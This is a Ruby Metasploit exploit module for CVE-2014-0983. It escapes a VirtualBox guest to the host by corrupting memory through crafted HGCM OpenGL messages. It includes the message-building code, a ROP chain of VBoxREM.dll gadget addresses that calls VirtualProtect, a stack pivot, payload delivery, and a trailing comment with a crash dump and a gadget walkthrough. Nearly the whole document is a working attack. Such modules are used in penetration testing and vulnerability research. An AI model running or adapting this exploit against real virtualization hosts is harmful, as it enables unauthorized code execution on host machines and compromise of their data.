##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
DEVICE = '\\\\.\\VBoxGuest'
INVALID_HANDLE_VALUE = 0xFFFFFFFF
# VBOX HGCM protocol constants
VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248
VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
VBOXGUEST_IOCTL_HGCM_CALL = 2269256
CONNECT_MSG_SIZE = 140
DISCONNECT_MSG_SIZE = 8
SET_VERSION_MSG_SIZE = 40
SET_PID_MSG_SIZE = 28
CALL_EA_MSG_SIZE = 40
VERR_WRONG_ORDER = 0xffffffea
SHCRGL_GUEST_FN_SET_PID = 12
SHCRGL_CPARMS_SET_PID = 1
SHCRGL_GUEST_FN_SET_VERSION = 6
SHCRGL_CPARMS_SET_VERSION = 2
SHCRGL_GUEST_FN_INJECT = 9
SHCRGL_CPARMS_INJECT = 2
CR_PROTOCOL_VERSION_MAJOR = 9
CR_PROTOCOL_VERSION_MINOR = 1
VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1
VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2
VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5
def initialize(info={})
super(update_info(info, {
'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape',
'Description' => %q{
This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
sequence of specially crafted of rendering messages, a virtual machine can exploit an out
of bounds array access to corrupt memory and escape to the host. This module has been
tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Vulnerability Discovery and PoC
'Florian Ledoux', # Win 8 64 bits exploitation analysis
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86_64,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
{
:messages => :target_virtualbox_436_win7_64
}
]
],
'Payload' =>
{
'Space' => 7000,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-0983'],
['BID', '66133'],
['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
],
'DisclosureDate' => 'Mar 11 2014',
'DefaultTarget' => 0
}))
end
def open_device
r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
handle = r['return']
if handle == INVALID_HANDLE_VALUE
return nil
end
return handle
end
def send_ioctl(ioctl, msg)
result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
if result["GetLastError"] != 0
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
result
end
def connect
msg = "\x00" * CONNECT_MSG_SIZE
msg[4, 4] = [2].pack("V")
msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)
if result.nil?
return result
end
client_id = result["lpOutBuffer"][136, 4].unpack("V").first
client_id
end
def disconnect
msg = "\x00" * DISCONNECT_MSG_SIZE
msg[4, 4] = [@client_id].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)
result
end
def set_pid(pid)
msg = "\x00" * SET_PID_MSG_SIZE
msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
msg[20, 4] = [pid].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def set_version
msg = "\x00" * SET_VERSION_MSG_SIZE
msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def trigger(buff_addr, buff_length)
msg = "\x00" * CALL_EA_MSG_SIZE
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[20, 4] = [@client_id].pack("V") # u32ClientID
msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
msg[32, 4] = [buff_length].pack("V") # size_of(buf)
msg[36, 4] = [buff_addr].pack("V") # (buf)
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def stack_adjustment
pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset...
pivot
end
def target_virtualbox_436_win7_64(message_id)
opcodes = [0xFF, 0xea, 0x02, 0xf7]
opcodes_hdr = [
0x77474c01, # type CR_MESSAGE_OPCODES
0x8899, # conn_id
opcodes.length # numOpcodes
]
if message_id == 2
# Message used to achieve Code execution
# See at the end of the module for a better description of the ROP Chain,
# or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
# All gadgets from VBoxREM.dll
opcodes_data = [0x8, 0x30, 0x331].pack("V*")
opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
opcodes_data << [112].pack("Q<") # RDX
opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
opcodes_data << Rex::Text.pattern_create(80)
opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here
opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize)
opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect)
opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr.
opcodes_data << "A" * 8
opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608
opcodes_data << "A" * (624 - 24 - 5)
opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
opcodes_data << stack_adjustment
opcodes_data << payload.encoded
opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
else
# Message used to corrupt head_spu
# 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
# 8196 => On my tests, this data size allows to keep the memory
# not reused until the second packet arrives. The second packet,
# of course, must have 8196 bytes length too. So this memory is
# reused and code execution can be accomplished.
opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
opcodes_data << "B" * (8196 - opcodes_data.length)
end
msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data
msg
end
def send_opcodes_msg(process, message_id)
msg = self.send(target[:messages], message_id)
mem = process.memory.allocate(msg.length + (msg.length % 1024))
process.memory.write(mem, msg)
trigger(mem, msg.length)
end
def check
handle = open_device
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
Exploit::CheckCode::Detected
end
def exploit
unless self.respond_to?(target[:messages])
print_error("Invalid target specified: no messages callback function defined")
return
end
print_status("Opening device...")
@handle = open_device
if @handle.nil?
fail_with(Failure::NoTarget, "#{DEVICE} device not found")
else
print_good("#{DEVICE} found, exploiting...")
end
print_status("Connecting to the service...")
@client_id = connect
if @client_id.nil?
fail_with(Failure::Unknown, "Connect operation failed")
end
print_good("Client ID #{@client_id}")
print_status("Calling SET_VERSION...")
result = set_version
if result.nil?
fail_with(Failure::Unknown, "Failed to SET_VERSION")
end
this_pid = session.sys.process.getpid
print_status("Calling SET_PID...")
result = set_pid(this_pid)
if result.nil?
fail_with(Failure::Unknown, "Failed to SET_PID")
end
this_proc = session.sys.process.open
print_status("Sending First 0xEA Opcode Message to control head_spu...")
result = send_opcodes_msg(this_proc, 1)
if result.nil?
fail_with(Failure::Unknown, "Failed to control heap_spu...")
end
print_status("Sending Second 0xEA Opcode Message to execute payload...")
@old_timeout = session.response_timeout
session.response_timeout = 5
begin
send_opcodes_msg(this_proc, 2)
rescue Rex::TimeoutError
vprint_status("Expected timeout in case of successful exploitation")
end
end
def cleanup
unless @old_timeout.nil?
session.response_timeout = @old_timeout
end
if session_created?
# Unless we add CoE there is nothing to do
return
end
unless @client_id.nil?
print_status("Disconnecting from the service...")
disconnect
end
unless @handle.nil?
print_status("Closing the device...")
session.railgun.kernel32.CloseHandle(@handle)
end
end
end
=begin
* VirtualBox 4.3.6 / Windows 7 SP1 64 bits
Crash after second message:
0:013> dd rax
00000000`0e99bd44 41306141 61413161 33614132 41346141
00000000`0e99bd54 61413561 37614136 41386141 62413961
00000000`0e99bd64 31624130 41326241 62413362 35624134
00000000`0e99bd74 41366241 62413762 39624138 41306341
00000000`0e99bd84 63413163 33634132 41346341 63413563
00000000`0e99bd94 37634136 41386341 64413963 31644130
00000000`0e99bda4 41326441 64413364 35644134 41366441
00000000`0e99bdb4 64413764 39644138 41306541 65413165
0:013> r
rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
r14=000007fef1f90000 r15=0000000002f6e280
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541
Gadget 1: Stack Pivot # 0x6a682a2a
xchg eax,esp 94
ret c3
Gadget 2: Control RDX value # 0x6a68599a
pop rdx 5a
xor ecx,dword ptr [rax] 33 08
add cl,cl 00 c9
movzx eax,al 0f b6 c0
ret c3
Gadget 3: Store ptr to RSP in RAX # 0x6a70a560
lea rax,[rsp+8] 48 8d 44 24 08
ret c3
Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c
lea rax,[rdx+rax] 48 8d 04 02
ret c3
Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6
add dword ptr [rax],eax 01 00
add cl,cl 00 c9
ret c3
Gadget 6: Control R12 # 0x6a68124e
pop r12
ret
Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d
mov r9,r12 4d 89 e1
mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00
mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68
mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50
call rbp ff d5
Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560
lea rax, [rsp+8] 48 8d 44 24 08
ret c3
Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d
push rax 50
adc cl,ch 10 e9
ret c3
=end
